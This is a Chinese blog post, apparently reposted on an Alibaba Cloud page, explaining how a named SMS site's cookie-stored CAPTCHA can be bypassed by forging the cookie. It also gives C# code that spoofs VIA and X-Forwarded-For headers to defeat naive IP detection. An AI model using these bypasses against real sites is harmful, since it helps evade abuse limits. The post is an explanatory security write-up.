由“ASP.NET網站限制訪問頻率”想到的兩點問題

來源:互聯網
上載者:User
“ASP.NET網站限制訪問頻率”的作者遇到了兩大問題。一是驗證碼被破解,二是惡意使用者通過使用代理變換IP來擺脫作者的限制。

先說說驗證碼破解
提起來破解驗證碼,小菜們肯定都直搖頭,覺得那是圖形學和演算法高手們研究的事情,小菜們只能心有餘而力不足。
然而博主使用的驗證碼其實很容易破掉。開啟博主的網站http://freesms.cloudapp.net/Default.aspx,在圖片驗證碼上點擊右鍵然後選擇“屬性”,可以看到驗證碼的地址“http://freesms.cloudapp.net/VerifyCode.aspx?”。很奇怪吧,咋地是個aspx頁面那!別著急,開啟一個瀏覽器按shift+F2調出httpwatch(很有用的第三方IE外掛程式,請自行擷取安裝。),點急record開啟監控。下面把剛才擷取的驗證碼地址粘貼到地址欄裡並按斷行符號訪問他。下面是httpwatch抓到的部分返回結果:
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: image/Jpeg; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: 1945.47704561149=IDNH6; path=/
X-Powered-By: ASP.NET
Date: Sat, 19 Sep 2009 14:28:58 GMT
Content-Length: 8697
請注意這一行“Set-Cookie: 1945.47704561149=IDNH6; path=/”再看看ie裡的顯示


諸位看官應該明白怎麼回事了吧。VerifyCode.aspx的任務很簡單,隨意產生一組字母如“IDNH6”然後把它變成映像輸出到客戶的,並把這組字母以明文的形式儲存到cookie裡,以便使用者提交請求時從cookie中讀取並與使用者提交的結果進行比較。
要想破解只要在提交post請求時在http頭裡偽造一個假的cookie值即可。因為校正程式只要確認使用者填寫的驗證碼和cookie裡的那個(可以偽造)相同就允許存取。

再談談第二個問題“惡意使用者通過使用代理變換IP來擺脫作者的限制”。
所謂使用代理來變換IP對大部分asp.net網站其實不需要掛代理就能實現IP的欺騙。
先看一段網上廣為流傳的擷取使用者真實IP的實現代碼

#region 擷取使用者真實IP地址
        /// <summary>
        /// 擷取使用者真實IP地址
        /// </summary>
        /// <returns>返回使用者真實IP</returns>
        public static string GetUserRealrIp()
        {
            string user_IP = "";

            if (System.Web.HttpContext.Current.Request.ServerVariables["HTTP_VIA"] != null)
            {
                user_IP = System.Web.HttpContext.Current.Request.ServerVariables["HTTP_X_FORWARDED_FOR"].ToString();
            }
            else
            {
                user_IP = System.Web.HttpContext.Current.Request.ServerVariables["REMOTE_ADDR"].ToString();
            }
            return user_IP;  
        }
        #endregion
下面示範一下如何偽造一個虛假的訪問IP
不多介紹,直接上代碼
製造虛假IP的客戶的:

Code
static void Main(string[] args)
        {
            System.Net.WebClient wc = new System.Net.WebClient();
            wc.Headers.Add("VIA", "8.8.8.8");
            wc.Headers.Add("X_FORWARDED_FOR", "9.9.9.9");
            Console.WriteLine(wc.DownloadString("http://127.0.0.1/getip.aspx"));
            Console.ReadLine();
        }

getip.aspx

Code
        protected void Page_Load(object sender, EventArgs e)
        {
            Response.Write("your ip address is : "+GetUserRealrIp());
            Response.End();

        }
        #region 擷取使用者真實IP地址
        /// <summary>
        /// 擷取使用者真實IP地址
        /// </summary>
        /// <returns>返回使用者真實IP</returns>
        public static string GetUserRealrIp()
        {
            string user_IP = "";

            if (System.Web.HttpContext.Current.Request.ServerVariables["HTTP_VIA"] != null)
            {
                user_IP = System.Web.HttpContext.Current.Request.ServerVariables["HTTP_X_FORWARDED_FOR"].ToString();
            }
            else
            {
                user_IP = System.Web.HttpContext.Current.Request.ServerVariables["REMOTE_ADDR"].ToString();
            }
            return user_IP;
        }
        #endregion

下面是運行結果:

如何避免這種地址擷取機制的缺陷,還是請大家各抒己見吧。

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.